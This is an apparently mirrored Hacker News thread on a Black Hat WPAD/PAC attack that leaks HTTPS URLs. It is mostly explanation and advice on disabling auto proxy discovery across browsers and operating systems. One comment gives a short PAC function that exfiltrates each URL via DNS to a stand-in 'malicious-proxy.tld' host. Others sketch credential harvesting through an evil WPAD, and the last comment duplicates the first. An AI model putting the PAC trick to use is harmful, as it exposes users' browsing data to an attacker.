WingNews logo WingNews GitHub [2]
top | item 12167209

New attack that cripples HTTPS crypto works on Macs, Windows, and Linux

250 points| kcorbitt | 9 years ago |arstechnica.com

68 comments

order
[+] 0xmohit|9 years ago|reply
From the briefing:

  We will demonstrate that, by forcing your browser/system to use
  a malicious PAC (Proxy AutoConfiguration) resource, it is
  possible to leak HTTPS URLs.
Would be interesting to see the exploit in action. However, malicious PAC redirection has existed for a while [0].

What isn't quite clear is whether this would work even with HSTS sites.

The takeaway seems to be that never trust any unknown network.

[0] https://blogs.technet.microsoft.com/mmpc/2014/02/28/maliciou...

[+] dmix|9 years ago|reply
> never trust any unknown network

By that I'm guessing you mean local networks ala coffeeshop/public wifi. What about networks that NSA/[insert three letter agency here] controls? Can PAC be affected by those?

[+] zokier|9 years ago|reply
Wait, what... malicious dhcp can "force" browsers to execute essentially arbitrary code for every request? And this is by design? Is there some flag to nuke that feature from eg Firefox?
[+] codys|9 years ago|reply
Yes, WPAD (web proxy auto discover) is for locating a piece of javascript code specified by Proxy auto-config [1], which consists of a single javascript function that is given the url & the host, and returns a proxy to use.

1: https://en.wikipedia.org/wiki/Proxy_auto-config

Edit: note that in addition to SOCKS proxies, this also allows one to provide HTTP proxies. I'm not familiar with the interaction of https traffic with HTTP proxies, but I'd hope browsers avoid using them? Anyone familiar with this care to comment? (specs are sparse in this area)

[+] kuschku|9 years ago|reply
Yes! http://i.imgur.com/jzEbP4g.png

Menu > Preferences > Advanced > Network > Settings… > No Proxy.

Very simple and easily discoverable setting.

    ________________________
Google Chrome uses your OS's settings for proxy, though, so you can't easily turn it off in most cases, but you can go to

Settings (scroll down a page) > Advanced Settings > Network > Configure System Proxy Settings

(that redirects you to the system settings for proxies, usually).

[+] mhurron|9 years ago|reply
It's not arbitrary code, it is a DHCP option to push a proxy setting. It is DHCP option 252, and isn't really any different than any other DHCP option, like router or default domain.

Setting network settings is exactly what DHCP was for.

[+] bzbarsky|9 years ago|reply
> Is there some flag to nuke that feature from eg Firefox?

Yes. In Firefox, the "network.proxy.type" preference is an integer that can take on the values 0, 1, 2, 3, 4, 5 with the following meanings:

0,3: no proxy (see https://bugzilla.mozilla.org/show_bug.cgi?id=115720 for the history on why 3 is the same as 0)

1: proxy manually configured in Firefox preferences, no PAC file.

2: Use the PAC file found at the URL given by the value of the "network.proxy.autoconfig_url" preference.

4: Use WPAD to get the PAC file.

5: Do whatever the OS says to do in terms of proxy settings (including what PAC file to use, if any).

The default value is 5. I believe setting the preference to 0 will ensure that you always use a direct, not proxied, connection to the target site, and in particular that no PAC file is used.

Edit: Ah, just noticed that kuschku points to UI for all this stuff below too.

[+] DanielDent|9 years ago|reply
This is a well known attack and has been for a while. There are established domain suffixes which block registration for 'wpad' (as well as a few other domains) for exactly this reason. Which is only a partial mitigation in a world where MITM is a potential attack vector.

I have domains which receive a steady stream of 'wpad.$domain' queries from machines which have nothing to do with me. I don't know who owns the machines. I also don't think anyone would notice if I decided to actually provide them with the proxy service they keep requesting from my infrastructure.

[+] johncolanduoni|9 years ago|reply
> I also don't think anyone would notice if I decided to actually provide them with the proxy service they keep requesting from my infrastructure.

If you did so, it would make for a really interesting CFAA (or your country's equivalent) case. Unless there is precedent for this kind of thing?

[+] newman314|9 years ago|reply
Does anyone know how to explicitly disable WPAD on various platforms?

I tried searching for an OS X disable to no avail.

PS. I did find this which came out in May: https://www.us-cert.gov/ncas/alerts/TA16-144A

[+] gergles|9 years ago|reply
On OS X, it is set in the system network preference pane. Click a connection, then Advanced..., then Proxies, and there's a service listed called "Automatic Proxy Discovery" that you can enable if you want it (it is disabled by default.)
[+] zhuzhuor|9 years ago|reply
From the description in the article, I guess the attack might use a PAC file like the following

  function FindProxyForURL(url, host) {
    return "PROXY " + base64(url) + ".malicious-proxy.tld:1080";
  }
Then the attacker can look at his/her DNS server query log and figure out the URL.
[+] th0rning|9 years ago|reply
There are a number of API calls that leak DNS queries, such as isInNet. If you have optimized a PAC for performance, you absolutely would avoid this from happening, but if you're evil and you want to leak dns queries... then whatever. I would add a filter to include only the required transactions (i.e., url contains samltoken or something).

On the flip side the article isn't correct about IE truncating hosts, what it does is cache the PAC results on a per-host basis, so only the first URL a client accesses to a host will get processed.

The other main threat of the WPAD is that it affects Zones. In a corporate environment, things that go through the proxy server are assumed to be on the internet and in the Internet zone. Things that go direct are assumed to be Intranet Zone, which has reduced security posture. An evil WPAD that just returns "DIRECT" all the time will lower IE's posture for all sites to Intranet Zone, enabling IWA (making credential harvesting possible), reducing warnings on active content, etc.

[+] caf|9 years ago|reply
So it looks like the correct solution is for the browser to always supply proto://host/ as the url, regardless of the URL actually accessed.
[+] peterwwillis|9 years ago|reply
"We show that HTTPS cannot provide security when WPAD is enabled."

That's effectively a lie. The HTTPS connection itself is definitely still secure. The only difference is the browser is telling an attacker what URL it wants to go to. You can also watch what virtual hosts someone is visiting by sniffing DNS requests, statistical packet analysis can show exactly what you're looking at, and there are plenty of attacks on browsers and the client OS to get more data that don't require wpad.

If you want to browse securely, you have to tunnel everything. You should not assume a browser will ever be able to hide all possible traceable data about your connection & request.

[+] cpitman|9 years ago|reply
Isn't the host that a user is requesting passed unencrypted anyways via SNI?
[+] keyme|9 years ago|reply
The full URL contains much more than just the host. Open fiddler, log in to a Google account, see how much sensitive data is sent inside URL params. All of this data is disclosed in this attack.
[+] Chlorus|9 years ago|reply
I don't think you know the difference between a hostname & a URL
[+] PhantomGremlin|9 years ago|reply
I'm confused. Is this a real problem under default OS X settings? Is the OS X GUI misleading me?

In my settings in Network -> Advanced -> Proxies, all the little boxes are unchecked. There is an "Automatic Proxy Configuration" line but only when I check it do I see a method to enter the URL to a .pac file.

So, as a naive user, when I see everything unchecked I assume that everything is disabled. But perhaps the checkbox only provides a method to supply information that a DHCP server omits?

So if the DHCP server does return an URL to a .pac file, will OS X will accept it regardless of the check box?

[+] nmc|9 years ago|reply
The "Automatic Proxy Configuration" setting allows you to manually set the URL of the PAC file for automatic configuration. Maybe setting a custom PAC file can override the one sent by the DHCP server. Anyway, unchecking that one will not protect you.

However, in the same list, you should see a checkbox labeled "Auto Proxy Discovery". This is the one you want to uncheck so that OS X does not accept the URL sent by the DHCP server.

[+] double051|9 years ago|reply
Proxy Auto-Config is by off by default on Windows and Macs, but it doesn't say that in the article or on the Microsoft page.
[+] blazespin|9 years ago|reply
Does that mean dhcp cant push pac file to IE or Safari by default?
[+] TenOhms|9 years ago|reply
This is why I don't trust public wifi, anywhere. I use my phone as a hot spot everywhere I go unless there's no other option. And I still don't trust my phone that much either so I don't do any online banking unless I VPN back to my house first.
[+] joveian|9 years ago|reply
Even ISPs will do all sorts of obnoxious things like this, although some public wifi is horrible. I got a $15/year ramnode VPS about a year and a half ago and removed all services except ssh on port 80 with chacha/poly1305 and public key encryption. I mostly use SOCKS with sshuttle to catch anything not configured for SOCKS (sshuttle in theory is a better method, but in practice it leaks DNS requests somehow). Quite simple and I highly recommend it. Traffic accounting seems to undercount substantially with this usage so I didn't get anywhere near my limit (I don't have the highest bandwidth usage, but not the smallest either). One public wifi I would like to use more often somehow manages to break this setup (and half the internet even without a VPN so no idea what they are doing), but I haven't had trouble anywhere else. I started doing this after getting SSL downgrade errors using public wifi.
[+] Godel_unicode|9 years ago|reply
1) Turn off WPAD support on your device and call it a day.

2) this only leaks URLs, your banking creds are safe.

[+] merb|9 years ago|reply
the chance that a mobile network provider will use DHCP for phone connections over Edge, 3G, LTE, etc... is extremly high. And I would guess Android and iPhone will actually honor WPAD
[+] daveloyall|9 years ago|reply
I am dubious that any of my Debian machines would fall for this.

BUT... I was unaware of this DHCP attack surface for WPAD. Does anybody know if Debian has some scripts for receiving a URL via that mechanism and then visiting it? I guess this would be achieved by libproxy or something?

Do the browsers do some WPAD stuff independently?

[+] kuschku|9 years ago|reply
NetworkManager and dhcpcd will usually auto-configure with WPAD, and all major browsers will use it.

If you're using KDE, you can disable it under

System Settings > Network > Settings > Proxy > No Proxy.

If you want to disable it for the browsers, see https://news.ycombinator.com/item?id=12167767

[+] cypherg|9 years ago|reply
I'm also going to be talking a bit about WPAD in my Blackhat talk this year.

To over simplify: attacker stays at AirBnb/rental, attacker pwns local router and adds their dns server, attacker listens for wpad request and respond with malicious PAC to gain MitM. Oh, the dangers of AirBnB/rental networks.

https://www.blackhat.com/us-16/briefings.html#airbnbeware-sh...

[+] djsumdog|9 years ago|reply
> It will be demonstrated for the first time at next week's Black Hat security conference in Las Vegas

Wait, don't they mean Defcon?

[+] peterwwillis|9 years ago|reply
DEFCON doesn't pay for you to give your talk; Black Hat does.
[+] colechristensen|9 years ago|reply
Black Hat is right before DefCon and more concentrated on professionals.
[+] a2tech|9 years ago|reply
Nothing is premiered at Defcon anymore. Everything worth while is shown at BlackHat, then maybe at Defcon.
[+] Galinakot|9 years ago|reply
From the briefing: We will demonstrate that, by forcing your browser/system to use a malicious PAC (Proxy AutoConfiguration) resource, it is possible to leak HTTPS URLs. Would be interesting to see the exploit in action. However, malicious PAC redirection has existed for a while [0]. What isn't quite clear is whether this would work even with HSTS sites. The takeaway seems to be that never trust any unknown network. [0] https://blogs.technet.microsoft.com/mmpc/2014/02/28/maliciou....